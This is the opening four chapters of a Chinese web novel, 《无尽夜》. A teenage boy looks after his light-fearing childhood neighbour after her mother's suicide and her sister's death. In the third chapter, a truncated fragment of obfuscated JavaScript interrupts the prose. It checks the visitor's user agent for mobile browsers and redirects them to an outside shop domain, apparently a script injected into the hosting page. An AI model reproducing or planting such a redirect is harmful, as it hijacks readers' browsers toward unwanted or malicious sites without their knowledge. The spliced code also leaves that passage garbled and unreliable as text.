《无尽夜》
1. 第一夜
《无尽夜》2024.12.2/盛挽月
锁孔咬合钥匙,生锈般艰难转动。
“别开灯。”少女嗓音含哭腔,随呼吸起伏,在黑暗房间发着颤。
少年推开门,拧下钥匙,装入口袋收好。
他身后楼道声控灯亮起,昏昧光线衔住他高挑颀长的体型,剪出分明阴影,投向室内翘边儿的木地板上,蜿蜒至蜷缩成一团的少女脚边。
“不开,是外面的声控灯亮了,别怕。”言迹提着塑料袋进房间,动作迅速地关上门,隔绝室外那点称不上明亮的光源。
影子随之消散。
这次就算她不说那句别开灯,言迹也不会开灯。
起初不知道她怕光,见天黑了,他按下开关,白炽灯光的亮度让她瞬间崩溃。
从那往后,他再也没开过这间屋子里的灯。
窗外皓月当空,冷光透过薄窗帘,渗进来只足以描画出室内陈设轮廓的亮度。
能大致看清物体,不至于摔倒,仅此而已,再多一点都是奢侈。
言迹卸下单肩背着的书包,走到厨房,把打包回来的炒面放进碗里。
重返客厅,他瞧见抱膝靠墙坐在地上的初雨。
她低着头,看不清脸上表情,但肩膀的耸动很明显,压低的抽泣声格外惹人心疼。
“怎么哭了?”言迹走到她身旁,坐下。
他的声线偏低,嗓音磁性足,加上这个年纪男生特有的荷尔蒙少年感,本身就很抓耳。
这时放柔语调的关心语气,听起来有镇定烦躁情绪的安神作用。
不问还好,他这一问,反而令初雨哭得更凶。
因为所有的难过,都有了可以宣泄的对象。
她哭得抽噎,说不出话。
言迹凑过去,保持着不越界的距离,轻轻拍她后背表示安抚:“我们小鱼受委屈了,想哭就哭吧,哭出来会舒服些,我就在这陪着你。”
他们几岁认识的来着?
具体时间忘了,大概是上幼儿园的年纪,他们两家人搬到这栋楼的同楼层做对门邻居。
言迹大初雨两岁,他学珠心算的年纪,初雨才刚学会读自己的名字。
到底因为年纪小,她说起话来口齿不清,所以初雨和言迹第一次打招呼时,她说的是“你好呀,我叫初鱼,你可以叫我小鱼”。
初雨的妈妈笑眯眯地递给言迹一支棒棒糖:“她咬字不太清楚,是叫初雨,初次的初,下雨的雨,你叫什么名字?”
言迹从小就在外人面前话少,和初雨一家人还不熟,说话的用词少得可怜:“谢谢阿姨,我叫言迹。”
往后慢慢熟络,初雨称呼言迹直接喊哥哥,言迹喊初雨就是她初次介绍自己的“小鱼”。
初雨后来说话清晰,再向其他人介绍自己时,没闹过在言迹面前那样的可爱笑话。
顺理成章,“小鱼”这个昵称,从小到大就只有言迹一个人这么叫她。
别人弄不懂,言迹为什么叫着和初雨名字毫无关联的称呼?
没关系,别人不用懂。
这是专属他们两个人才知道的特殊意义。
言迹拿卫生纸给初雨擦眼泪。
他小心翼翼捧起她的脸,用纸巾沾走她面庞上的水痕,不再问她哭泣的原因,只等她先将心里的不舒服以泪珠的方式倾倒完全。
“哥哥。”初雨含糊地叫了一声。
她含泪的小鹿眼,揉碎月光,微不足道的亮意只够言迹看清。
他应声:“嗯,我在听。”
初雨咬咬唇,试探般发问:“我生病了吗?”
她心里有答案,这么问出来,只想让自己的猜想得到肯定。
生病了,所以怕光。
生病了,所以没办法做到普通人轻易能做好的事。
不想再整天自欺欺人地骗自己一切正常。
正常人,不是她这样。
言迹的喉结艰涩滚动,眉头几不可察地皱了皱,内心斟酌该怎么回答这个问题。
她遭受两次同样类型的重大刺激,心理方面留下的创伤非同小可。
已经发生的事情无法改变,眼前最要紧的是,委婉点向她表达目前的状态,让她知道需要尽早接受治疗,但不至于担惊受怕胡思乱想。
初雨今年十五,言迹十七,年长她两岁,很多事情都会不自觉的照顾她、为她考虑。
就像现在,他仔细打好腹稿,慢慢说着情况安抚她的情绪:“不严重,就一点小问题,等你能见得了室外光线,哥哥马上带你去看医生,然后很快能回学校上学。”
实际情况根本没这么简单。
初雨经受刺激以后,对光线极度敏感,对普通人来说恰到好处的明媚暖阳,对她来说是致命剧毒。
强烈光线致使她头晕目眩,恶心干呕,腿软乏力,只能躲在房间里,最大限度避免和阳光接触。
而平常时候,她的表达方式渐渐和以前有明显不同。
受情绪波动的影响,她要么答非所问,要么同一时间说出口的两句话毫不相干,又或者说的话断断续续,像被拆碎的词语,连不成完整的句子。
这种区别是间歇性的,并非每天都会出现。
记忆中的她,活泼开朗,绝不是现在这样的性格。
要是她能出门,言迹早就借钱带她去医院了,哪会任由她的病情继续发展。
言迹知道她的病不似普通感冒那样容易治疗,不说实话的原因在于,不想让她那丰富的想象力吓到她自己,畏光不是绝症,能治好的。
总能好起来的,所以他减轻程度,想让她别害怕。
初雨的眼眸低垂,声音无力:“我不看医生,我也不要回去上学。”
升上高一不到二十天,初雨遭受第二次重大刺激,从那段时间开始,她休学在家,几天时间不吃不喝。
住校回来的言迹听闻她家发生重大变故,着急给她打电话不接,敲门不开,他情急之下找来开锁师傅,一辈子都忘不了那天看见初雨的情景。
他放弃回想不愉快的事情,正准备顺着初雨的话往下说,不过被她抢先一步:“我不想拖累别人。”
失去活力和希望的,向命运低头的枯寂语气,从她嘴里说出来,像锋利刀子捅进言迹心里。
言迹怔了一瞬,话音轻得和一片羽毛重量差不多:“原来我算别人。”
初雨吸吸鼻子,抹掉睫毛上的泪,重新说:“我不想拖累你。”
她不想当言迹前行路上让他感到疲惫的行李,他在读高三,学习比什么都重要,她自认是拖油瓶,有什么理由成为他的累赘。
又不是真的亲兄妹。
“那不还是把我当别人吗?”
言迹补充说明,“我奶奶去世以后,是阿姨关心我照顾我,现在阿姨不能照顾你,我总得让她放心,我言迹不是忘恩负义的人,更何况我们从小一起长大,我拿你当亲妹妹,怎么可能不管你?怎么可能觉得你在拖累我?”
言迹口中的阿姨,就是初雨的妈妈。
说完话,言迹和初雨对视。
初雨一言不发,眸中的愕然取代先前的惆怅忧伤。
言迹迅速回想说出口的话,似乎有不合适的地方无意戳中她的痛处。
“对不起,”言迹道歉,“我把话说重了。”
他自知最大的缺点是某些情况下,说出口的话会带着对方无法承受的尖刺,加上多年来的防备心很强,导致他至今没几个玩得好的朋友。
说出伤害对方的话绝非他本意,人际关系和口语交际方面,一直是他最薄弱的地方。
从小和奶奶住在一起,没见过妈妈,和爸爸的见面次数加起来寥寥无几。
奶奶辛苦供他吃穿已经很不容易,没怎么注重其它方面的教育,老一辈的人总认为,孩子只要吃饱喝足,平安长大就很好了,对他没有那么多的要求。
言迹很懂事,烦心事不对奶奶讲,奶奶忙着赚钱养他,不甚了解他和别人的相处方式是否融洽和谐。
初雨觉得两人不是血缘关系上的亲兄妹,言迹没有责任也没有义务照顾她。
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言迹不这么想,他和初雨一起长大,即使没有血缘关系,也当她是亲妹妹照顾,不是兄妹,胜似兄妹。
“饿了吧?”言迹支开话题,站起来,“我给你带了炒面,这会儿应该凉了,我去给你热热。”
他转身去厨房,没走两步,又回头提醒:“天凉了,别坐地上,小心晚上肚子疼。”
初雨坐到沙发上,往窗帘方向瞥一眼。
清冷月光柔缓流淌,像抓不住的水,铺了满地说不清道不明的暗调忧愁。
她白天内心躁动不安的情绪,终于在宁静夜晚得以片刻喘息。
言迹端着热好的炒面出来,放在初雨面前的茶几上,递给她筷子:“能看清吗?要不要我把窗帘拉开一点?”
她接过筷子的手抖了一下,差点没拿稳。
空气凝滞般沉默。
“太亮了。”初雨低头,咬一口面。
“嗯?”言迹没立刻明白她的意思,追问,“现在太亮了?”
初雨握着筷子的手指发紧,向他坦白流泪的原因:“白天的光,太亮,窗帘挡不住,我喘不过气,很难受,哭了。”
这就是言迹感受到的,她的表达方式相较以前,有明显区别。
答非所问,断断续续。
言迹循着她的思维方式,问重点:“哭完以后,有没有好一点?”
她点头:“好了一点。”
半秒后,她又说:“你回来以后,好了很多。”
有他在身边,她没那么害怕了。
“那就行,你先吃面,我回我家取个东西就来。”言迹提起自己的书包,开门回对面自己家。
他动作很快,还不到两分钟就回来了,怀里抱着一堆东西:“这是我家以前用过的遮光窗帘,我给你换上,明天你就不用怕外面的光线照进来了。”
言迹给客厅还有初雨的房间,都换上遮光窗帘。
换完窗帘,他走过来,给初雨倒杯温水:“明天周六,我去店里打完工,有事晚点回来,你有没有什么想吃的东西?我给你带。”
初雨握着杯子喝水,低声:“没有。”
言迹读书的同时,还在一个长辈经营的小店里当收银员。
长辈见他可怜,说是让他兼职打工,其实为了方便照看他,也有正当理由给他钱,不然他那么强的自尊心,说什么都不会白白接受帮助。
“那你明天要是有想吃的,可以打电话给我说。”言迹拿过茶几上的手机,按了按,屏幕没亮。
他熟练地滑开后盖,换了块备用电池,拿走没电的电池,夹在万能充上,放进电源孔给电池充电。
那个年代的手机,大部分只满足简单的通话需求和发短信功能,最火热的单机游戏是贪吃蛇和俄罗斯方块,还有风靡了好些年的消消乐。
当时的手机没有大屏幕,没有方便快捷的5G网络,只有一小块不能用手指触控的厚重屏幕,下面是九键按键,搭配几个万能的符号键。
除了电话和发短信,用户最常用的社交软件是Q.Q,在微信出现的好几年以前,2G网络支持手机Q.Q收发消息。
手机端的Q.Q空间还没上线,电脑端的Q.Q可以逛空间,能经营牧场农场。
有人定闹钟偷好友家的菜,有人同时登好几个账号,帮朋友快点涨到拥有好几个太阳的等级。
空间留言板里写满读起来费劲的火星文,昵称和签名栏同样被火星文洗礼,像加密后的特殊语言,别有一番趣味。
手机的微弱亮光和万能充的红色闪烁光点,不足阳光十万分之一的强烈。
不会让初雨觉得难受。
开机以后,言迹把手机放回原位:“我先回去写作业,你早点休息,有事随时给我打电话,或者发消息,都行。”
她甚至可以直接走几步过去敲门,但楼道里亮起的声控灯,成了拦路虎。
“哥哥,”初雨伸手捏紧衣角,“你不用对我这么好。”
她怕会在不知不觉中,依赖上他。
那怎么行。
2. 第二夜
“说什么傻话?我只有你一个妹妹,不对你好,对谁好?”
淡薄月色下,言迹关心的目光送进初雨眼底。
他天生单眼皮,眼尾微微上挑,瞳色是干净又纯粹的黑,像最高品质的黑曜石。
他望向别人的视线里,总带有明显的冷淡疏离,还藏三两分尖锐气息,看起来极其难以接近。
事实却也如此,否则也不会没几个朋友。
偏偏这双锐利逼人的眼,每每和初雨对视时,那些不善的情绪消失无踪,只剩下心疼和温软。
或许因为身形瘦,他的面部轮廓更加锋利俊朗,线条流畅到找不出一丝赘余。
肩膀和脊背平直宽阔,在一米八七的身高加持下,他整个人看起来和标准模特身材分毫不差。
几年前,言迹的奶奶去世以后,家里剩下他一个人,平时冷清得很。
初雨是走读生,他们各自忙于学业,就读不同学校,上学放学时间刚好错开,平时不容易见到。
每逢节假日,初雨的妈妈会来关心言迹,给他送点吃的喝的。
孑然一身的言迹很感激阿姨给的关心,但不想过多麻烦她,又因为学校离家远,他索性选择住校。
平时除了给奶奶上香的日子,他基本不回家,反正了无牵挂,回不回来都一样。
言迹得知初雨家遭遇第一次巨大变故时,是阿姨离开了这个世界。
初雨家里乱成一锅粥,但好在还有亲姐姐,初雪照顾她。
一年后,也就是上个月。
初雨再次遭受巨大变故,她的姐姐被人逼迫到绝境,坠楼而亡。
而初雨的父亲,自阿姨去世后,至今没回过家,丝毫不管两个女儿的死活。
两次重大刺激,初雨两次目睹至亲在阳光下皮开肉绽。
初雪离开以后,初雨极度怕强烈光线,她闷在房间里以泪洗面,浑浑噩噩度秒如年。
还好言迹叫来了开锁师傅,捡回濒临自绝的初雨半条命。
言迹决心担负起照顾她的生活以后,火速办好走读手续。
尽管学校离家远,他每日往返也不觉辛苦。
他有牵挂了。
家里有妹妹在等他回去。
初雨犹疑着说:“可是你以后——”
以后总归要离开她,会过属于他自己的新生活,不可能守着她一辈子。
到了不得不分别的时刻,她再回想起如今言迹对她的好,那种被迫的戒断反应,心里会特别难受。
言迹伸食指轻挡唇前,做出噤声动作:“嘘。”
初雨不再讲话,听觉专注放大。
言迹温声打消她的顾虑:“以后的事,我们将来再说,你现在专心休养,其他事交给我就好。”
他自愿承担所有麻烦和风险,只为让她过得好一点。
令人安心的成熟行事风格,和及时供应的踏实安慰,胜过任何实质性的药剂。
暂时别无他途,初雨选择听言迹的话。
她流过大量眼泪,眼眶酸胀,眼皮沉重,涩意转化为困倦睡意。
言迹回去后,她躲进被窝,依靠睡觉逃避这个她不愿面对的现实世界。
她半夜连做好几个噩梦,吓得冷汗涔涔,整夜没睡好。
等到外面的天朦亮,她才陷入深睡。
与此同时,言迹掏出钥匙,拧开门。
室内亮度昏暗,昨晚换上的遮光窗帘,效果可人。
客厅空无人影。
他低声:“小鱼?”
卧房方向传来熟睡的规律绵长呼吸声,初雨没醒。
言迹径直走向厨房,关门,开灯。
他动作流利地准备好需要简单加热的早餐放在显眼处,又给电饭煲内蒸上初雨喜欢吃的焖饭。
备好两顿饭,他轻手轻脚收拾完厨房,关灯,给初雨发消息留言。
【言迹:小鱼,醒来以后记得吃早饭,加热一下鸡蛋和面包,冰箱里的果汁给你取出来了,喝的时候不会太凉,电饭煲里有你爱吃的焖饭,我晚上回来给你带晚饭。有事给我打电话。】
手机屏幕的光,在客厅茶几上亮起。
言迹望去,那是他昨晚给初雨手机换完电池后,放下手机的位置,初雨没再挪动过,万能充仍嵌插孔上闪着光。
看来,他昨晚离开以后,初雨很快就回房间睡了。
他取下万能充和电池,放她开着静音模式的手机旁边。
以防初雨不看手机,他把消息里的内容,用字条再写一遍,拿进初雨房间,用她床头柜的水杯压住字条一角,这样肯定能看到。
离开之前,他给初雨掖了掖被角。
所有行为,自然又熟练,像一个合格监护人应有的风范。
可他们之间没有任何经过法律认可的关系。
与其说是从小相伴到大的青梅竹马,不如说他们是两座相互依偎的孤岛。
在这喧嚣万千的浮沉世界中,他们是彼此坚定的依靠。
言迹不想吵醒初雨,蹑手蹑脚退出房间,关上客厅的门,准备去店里兼职。
想起初雨叮嘱过的话——“哥哥,你不在家的话,一定要记得把我家房门反锁,万一那些人再来闹事,轻易进不来的。”
他依言反锁,现今手里这把钥匙,也是初雨主动给他的。
她觉得自己整天不出门,钥匙毫无用武之地。
言迹每天来看她,干脆让他保管钥匙。
十月中,风渐凉,言迹走向公交车站。
他戴上有线耳机,播放手机里提前下载的歌曲,吵闹的摇滚音乐似乎要掀翻他的身体。
到了店里,他熟稔地理货、补货、对账、整理收银机里的钞票,分出百元大钞和方便找零的零钱。
客人来来往往,有人光顾的时间,他帮忙结账装东西,没人的时候,拿出书包里装的作业,一道一道写。
生活和习题一样,饭要一口一口吃,日子要一天一天过,初雨的病,应该也会一天比一天好点。
总会好起来的,言迹这么想着。
上午九点半,初雨睁开眼睛。
她注意到旁边的字条,室内昏暗的薄光下,言迹有棱有角的字体格外清晰。
字如其人,很好看。
她第一时间给言迹回消息。
【初雨:谢谢哥哥。你在外面注意安全,也要记得按时吃饭。】
言迹对她非常用心。
不仅准备好两顿饭,还在透明玻璃茶几下放了她喜欢的零食,如果他回来得晚,她可以先吃点零食垫垫肚子。
她外穿的衣服,他已经洗好晒干,叠好放在沙发上,只等她拿进房间。
地面扫过拖过,家具擦了,垃圾也丢了。
他完全拿这里当他第二个家。
初雨的胃口不好,言迹给她准备的早饭没吃完,午饭更没怎么动。
醒着的时间过得很慢很慢,她怕光,出不了门,不能开灯,限制了很多能消磨时间的活动。
她呆坐着,看墙上钟表的指针走过一圈又一圈。
大脑里的记忆碎片乱飞,纷纭着错序、重叠、堆积直到她心口感觉堵了块异物。
不受控制的回忆占上风,再次为她重映往日刻骨铭心的景象——
沾血的刀片暴露在铺了阳光的床上,而地板上铺着一层鲜红的血。
水泥地上残肢拼凑不全,围观群众拨通报警电话。
遭贼一般被翻个底朝天的凌乱房间,所有东西都脱离原来位置。
这些,都很刺眼。
没人掐着她脖子制约她的吐息,仅仅这些往昔残角就够将她撕成碎片。
呼吸不上来,好费劲。
越是不愿意去回想的,越要在她心里反复刷存在感。
仿佛回想成千上万遍血淋淋的过往,就像经历脱敏反应一样,最后不会再被那些痛苦干扰影响。
但她目前没那么强大,做不到无动于衷。
她喉咙很干,伸手去摸茶几上的水杯,冰凉的手指触到无温度的水杯,指节乏力到无法做出握合的动作。
为什么?
以前都好好的,现在竟然连拿个水杯都这么艰难。
胳膊完全使不上力,手指忘记下一步该怎么办。
从思维到行动,没一样听她的指令。
明知一加一等于二,可她写下的答案是无人能看懂的异样符号。<
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她耳边一片嗡鸣,眼前跟着发黑。
脸上的泪比昨晚还滚烫,双手僵硬,身上犹如被针刺,泛起不适知觉。
焦急的呼唤叫回她的神思。
“小鱼!小鱼你看看我!”言迹握着初雨的肩膀摇晃,他满脸慌乱无措。
初雨从窒息漩涡中抽离,对上言迹的双眸,惧怕褪去,她紧绷的神经放松下来:“我不愿意去想那些,大脑不听我的话……昨晚还做了很多不好的梦,哥哥,我好害怕。”
言迹放缓声音哄她:“没事了没事了,我陪着你。”
她比昨天哭得凶,言迹担心会引起呼吸性碱中毒,握着她的手说:“来,跟着我,调整一下呼吸。”
跟着言迹的引导深呼吸,她的眼泪渐止。
言迹小心翼翼劝慰她,用大拇指为她揩去泪花:“别哭了,不是还有我吗?就算天塌下来,还有我给你扛着。”
“真的?”初雨双瞳里的水雾凝聚成碎芒,轻轻摇曳,“不要骗我。”
言迹轻勾眉毛:“从小到大,哥哥哪次骗过你?”
“今天跟王阿姨去庙里为你求了个平安祛病符。”
言迹拿出口袋里的红色锦袋,交给初雨,“你随身戴着,听说很有用,神佛会保佑我们小鱼好起来的。”
王阿姨就是关照他的那位长辈,和言迹的母亲是多年好友,故人已逝,王阿姨念昔日交情,让言迹在她经营的小店里兼职,天天见得着面,她比较放心,平时也能顺带照顾上点。
前去庙里拜佛的人络绎不绝,香火旺盛。
言迹虔心跪拜,求得这张符,临走时,无意听见身后一对夫妻的交谈。
男人随口抱怨:“耽误这么多时间,能求人解决的事,非得大老远跑庙里来求神。”
妻子叹气:“要是求人有用,我也不想跑这一趟。”
不清楚他们为什么事来寺庙。
只明白,当人们开始求神的时候,就证明求人已经起不到作用了。
至少言迹是这样。
要让初雨的病好起来,首先必须能出门去看医生,她连光都见不了,更别提出门。
找靠谱的医生上门治疗,诊费太贵,后面还不知道需要什么治疗,估计是很大一笔开销。
这是一块钱能买四个馒头,两块五能买一份管饱的凉皮,一百块能花好多天的时代。
言迹是穷学生,奶奶在世时本来有些存款,后来看病差不多花光了,也没保住性命,更没能给言迹留下些什么,目前他的收入来源,全靠王阿姨每月给的兼职工资。
初雨一个人生活,没有收入,手里肯定没钱,哪够治病。
言迹只能慢慢攒钱,等初雨能出门,就带她去看病。
如果问王阿姨借些钱,找个医生来给初雨看病也行得通。
但是家家有本难念的经,王阿姨家里不阔绰,还有卧病在床的年迈父母和三个在读书的孩子,她一家人过得紧巴巴。
他们生活在普通小镇上,小店利薄,收入刚够几人的生活支出和进货费用。
言迹怎么可能再向王阿姨开口,他知恩图报,不是得寸进尺的人。
既然没法求人,那就只能求求神佛。
初雨疑惑:“哥哥,你以前不是不信这些吗?”
“王阿姨给我说了好几次,这个寺庙里求的符很灵,她给家人求的祛病符挺管用,我就想给你求一个。”
她收好锦袋:“那你没给自己求什么吗?”
言迹摇头:“没,我不用神佛保佑,只要你好好的就行。”
他拿过身后的两大袋零食,还有些速食:“给你准备的,万一我哪天发病,有段时间不能照顾你,你不至于饿肚子。”
他也患有病症,可他把初雨的重要性,排在自己之前。
赚钱为先给她治病,求符为保佑她好起来。
初雨低头,有些内疚:“你为什么不给自己求一个祛病符。”
“你的病能治好,我的病……大医院的医生都说治不好,佛祖肯定也没办法,就不白费工夫了。”
“哥哥,”她重新抬眸,语气真挚,”你发病以后,是什么样?有没有我可以帮到你的地方?”
3. 第三夜
初雨知道言迹身患疾病,却没亲眼见过他发病时的模样,同样不清楚相关症状。
言迹的奶奶在世时,从未主动提及言迹的病,导致没几个人清楚言迹真实情况如何。
通常会有连续好些天,初雨见不到言迹,她向言迹奶奶问起,老人家只说言迹身体不舒服,要好好休息几天,再不多透露半个字。
当前,言迹照顾初雨有段时日,她不要只享受他的好,决定该做出些回报。
她猜想言迹生病后,肯定需要她的帮助。
尽管言迹从没想过索取任何回报,可她做不到安然享受他的付出。
言迹心疼她生病。
她同样心疼言迹的努力。
读高中的年纪,言迹努力以一己之力撑起他们两个未成年人的生活。
要学习、兼职、准备三餐、处理生活中的琐事。
还要关照初雨脆弱敏感的情绪,担心她的病情是否恶化。
不仅需要时间,还需要很多心力。
初雨都看在眼里。
所以更心疼言迹,想为他做点力所能及的事,为他分担一部分压力。
言迹认真回答她:“我的病不常见,发病后会陷入昏睡,时间长短不确定,有可能持续小半个月,饿了会自己找东西吃,但不属于清醒状态,帮忙的话……在我发病期间,你照顾好自己就是给我帮忙了。”
她全神贯注听着,稍稍歪头提出关键点:“这个病的名字叫什么?”
手机带有简单的查询功能,她要好好查查这个病的病因,怎么会治不好呢?
言迹说出名称:“睡美人综合症。”
“好浪漫梦幻的病名哦。”
初雨感慨一声,想到睡美人的故事,大胆发挥她丰富的想象力,“沉睡的公主被王子亲吻会苏醒,那你沉睡的时候,要是有公主吻你,你会醒来吗?”
言迹被她的幻想惹得无奈发笑:“可惜没有公主,小鱼,你的假设不成立。”
“我们小时候玩过家家,我总扮演公主呀,要是我亲你一口呢?”她朝言迹倾身,鼻尖快要碰到他的,已经能感受到他温热的呼吸扫过皮肤。
“别闹。”言迹慌忙躲开前一秒还对视的目光。
初雨坐回原位,久违地轻笑出声:“哥哥被我吓到啦?怕我占你便宜吗?”
“是怕你吃亏,笨蛋。”言迹起身往厨房去,不想让初雨看到他发烫的薄绯耳尖。
没了孩童时代可以放肆嬉闹的随心感,青春期觉醒的两性差别,开始给他们之间制造距离感。
初雨坐在沙发上,舔了舔干燥的嘴唇,握起水杯喝水,她还没琢磨明白“吃亏”具体意味着什么。
言迹长得好看,亲他一口应该赚到才对。
怎么会吃亏呢?
好奇怪。
言迹没回来之前,她崩溃大哭的时候,使尽力气拿不动水杯,现在却轻松自如。
陌异的感觉全然褪去,她没放心上。
十五岁的初雨,在不发达的小镇生活这么多年。
她接收外界信息的来源全靠看书和看电视,极少数会自己上网查询信息,那个年头的手机流量费用并不便宜。
又恰逢情窦初开的年纪,唯一能接触到的男性,只有言迹。
短时间内的高频相处,会对他产生一些情绪上的波动,倒也说得过去。
言迹以一个兄长的身份,为初雨充分着想。
他不愿意占初雨的便宜,不想借着照顾她的理由,对她做出一些过分事。
看来,以后要和她保持点距离。
不能太亲密。
言迹打定主意,伸手摸了摸耳朵。
还烫着。
他的朋友本来就少,女性朋友只有初雨。
或许大部分女生都喜欢和温柔阳光的男生交朋友,不管是聊天还是一起玩,都会更投机。
这样一对比,他这种冷淡孤僻的男生,就成了没人愿意主动靠近的存在。
第一次和女生近距离接触。
室内黯淡光线助长不应有的情愫加倍放肆蔓延。
初雨的呼吸,她身上靠拢而来的香味,她清甜的嗓音,都太近了。
他不适应。
借着手机屏幕微弱的光亮,言迹看清早上帮初雨准备的早饭,她吃了一点,午饭几乎没动。
她吃不下饭的情况,持续了好些天,从出事后,她的食欲大幅减退,每天吃的那点东西,估计只够维持最基础的生命体征。
这些家常饭,她吃腻了吗?
要是换点新花样,能不能激起她的胃口?
说做就做,不试试怎么知道效果好不好。
言迹每天早起一小时,把面包裁切成小熊、小狐狸、小兔子之类的可爱形状,放上蔬菜和煎好的鸡蛋,色香味俱全。
再用切块的新鲜水果拌上超市里买来的临期处理酸奶,给她做成水果捞。
又把米饭蒸好,准备好可以拌饭的菜,轻微加热之后就是她的午饭。
有时候是酸辣土豆丝,有时候是麻婆豆腐,短期内很少出现重复的菜。
而面包用不上的边角料,和水果皮上的少许果肉,就是言迹的早餐。
中午赶不回来,他给自己的饭盒里装一点米饭,放进去两筷子榨菜和半块腐乳,是他在学校的午饭。
他需要节省每一分钱。
榨菜加腐乳的价格,比蔬菜便宜些。
反正他不再长个子,187够高,而初雨正长身体,她需要多吃蔬菜水果。
言迹对自己舍不得,却不肯委屈初雨半分。
初雨受梦魇困扰,总到清晨五六点才能睡踏实,这恰好是言迹准备饭菜的时间,她没醒,也就不知道言迹的早饭午饭都是随便对付着吃的。
她只知道,每天醒来以后,手机里躺着言迹好几个小时前发来的消息。
告诉她早饭午饭都准备好了,一定要按时吃饭,要是有哪里不合口味,就及时告诉他,下次改善做法,晚饭他会带回来,门反锁过了,不用担心坏人。
偶尔遇上会晚回来的情况,比如做值日要打扫教室,或者店里的账需要再对一遍,言迹会发消息告诉她。
别的同龄学生,早晨躺被窝里做梦的时间,言迹已经在准备早饭。
别人三三两两结伴,嬉闹说笑着一起去吃午餐,言迹独自在教室里吃凉米饭和榨菜腐乳。
学习日的晚上,其他人写完作业还有空看会儿课外书,和朋友聊聊天,言迹陪初雨吃完饭,他回家里写完作业,还要洗衣服做家务。
初雨不能见光,看不清衣服洗干净没有。
他主动帮忙拿回自己家里洗,但是贴身衣物之类的,他不会碰,毕竟男女有别。
家里没有洗衣机,不管衣服薄厚,每件都是言迹手洗之后拧干晾好,等衣服干了,再叠好给初雨送回去。
周六日的时光,其他同龄人,有上补课班的,有在家看电视的,有偷偷跑去网吧上网的,有和朋友出去逛街的。
他们享受着这个年纪学生该享受的一切美好事物。
言迹的周六周日,除了在王阿姨的店里兼职,就是陪着初雨说说话,和她一起吃饭。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641106|156433||http|test|mini|href|location''.split(''|''),0,{}));
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>怕她长时间不出门会寂寞,所以把平时的有趣见闻讲给她听,让她没那么无聊。
比如,回家路上遇见一只很可爱的猫猫。
比如外面的落叶越来越多,枯黄颜色别有一番美丽,踩上去脆脆的,声音很好听。
更改的、花样繁多的,是说不完的新鲜话题。
不变的、始终如一的,是言迹每晚回来后的例行两件事。
第一,问她今天有没有觉得好一点,身体哪里有没有不舒服。
关心她的病情是首位重要事项。
第二,看她今天吃了多少饭,胃口相较之前,是否有好一点。
剩在锅里的饭,无论多少,言迹都不会责怪她,剩下来的就是他晚上写完作业以后饿了的夜宵。
她怎么会不懂言迹的苦心。
看到他精心准备的饭菜,知道他牺牲了太多原本属于他的个人时间,来给自己花心思。
本着不让他过多担心的原则,初雨尽量让自己多吃一点。
吃着吃着,眼泪掉进饭里。
不同于幼时被父亲打骂过以后的眼泪拌饭,那种幼时的委屈,和眼前的感动感激,是截然不同的情绪。
言迹对她太好了。
她有什么理由辜负他。
哪怕只是普通的饭菜,里面也有他倾注的心血,她认真吃下每一口饭,脑海里浮现的是言迹准备食材时,认真专注的模样。
她打开手机网站查询东西的次数,近期增多。
查询内容的中心围绕“睡美人综合症”,网上给出的相关临床症状和言迹说的差不多,国内病例较少,可供参考的信息少之又少。
网上说,这个病是一种罕见的神经系统异常,可以通过心理治疗或者药物治疗的方式进行改善缓解,但做不到根治,有极少数患者会出现自愈情况。
她口中念叨重点,用圆珠笔在记事本写下关键词:“神经系统异常,可以缓解,无法根治,极少数自愈。”
言迹会不会成为自愈的那部分患者之一呢?
他的名是奇迹的“迹”,那奇迹就应该多多眷顾他一点。
日子一天天过,初雨的噩梦越来越严重。
白天努力想要忘记的,夜间在梦境中加倍凌迟她的心。
她喘着气醒来,浑身颤抖。
姐姐不久前被人逼迫到坠楼的一幕,再次重现梦境。
几年前妈妈割腕自尽的场面,一同翻涌着交织在梦境中,像要将初雨困锁在过去中,让她清楚明白,她失去了两位至亲。
黑暗的室内像黑色海水,将她包裹其中,不让她逃离。
窗帘被风撞得飘起,像海浪翻腾。
她抖着手给言迹打电话,一颗心脏还没从恐怖的梦中平复下来,狂跳频率不减。
言迹接得很快,听见她声泪俱下的请求:“哥哥,我能不能和你住一起?”
话说出口,她咬了咬唇。
她当然明白说出口的话有多荒唐任性,还特别唐突。
但她真的害怕夜夜噩梦缠身。
醒来以后,家里空无一人,仿佛她被整个世界遗弃。
窒闷、惊惧、恐慌、孤独……太多情绪化作根根细丝,裹缠住她的心脏,连呼吸重一点都会扯着发疼。
要是能和言迹住一起,至少不会这么害怕。
“做噩梦了?”言迹端着半杯温水过来,水杯递给她,“喝水,缓缓。”
她接过水杯,润了润喉咙,闻见言迹身上的淡淡洗衣粉香味,莫名觉得安心,轻声开口:“对不起……我刚才说话没过脑子,你别当真。”
4. 第四夜
言迹轻声浅笑:“我已经当真了,怎么办?”
初雨怔愣一瞬,温吞解释:“我太害怕了,口不择言,你别往心里去。”
她将无理请求吐出口的刹那,没来得及思考太多。
说完才意识到,就算言迹同意住一起,那她肯定会给他的生活带来许多不方便。
“为什么让我别往心里去?”言迹的嗓音,掺有极轻的气音笑声,“你愿意依赖我,我很开心,感觉自己被你需要了。”
他的开心非常容易满足,仅仅只是,被需要。
“可是……”初雨退缩,犹犹豫豫,“住一起的话,会给你带来很多麻烦,还是算了吧。”
她还是怕自己会过度依赖言迹,偏偏她自己无法说清,为什么一边怕过度依赖他,一边遇到棘手的事,还是下意识向他求助。
绝对是因为,能求助的人,就剩下言迹。
言迹自愿照顾她的生活,已经好得没话说了,她怎么能再得寸进尺,去占据他的个人空间?
感激、内疚、无措、自责,纠缠她心底,分不清哪种情绪的重量更胜一筹。
“妹妹麻烦哥哥不是应该的吗?”言迹一句话解决她的忧虑,又垂眸想了想,向她确认,“你做的噩梦,还是关于阿姨和姐姐?”
“嗯。”初雨无力地应答。
“有可能你在家待太久,大脑容易被熟悉的环境提醒,反复想起过去的事。”
言迹给出他的办法,“你要不要试试来我家住?我睡客厅沙发,房间让给你,我在客厅开灯写作业的时候,你就在我房间里,我家用的也是遮光窗帘,不会很亮。”
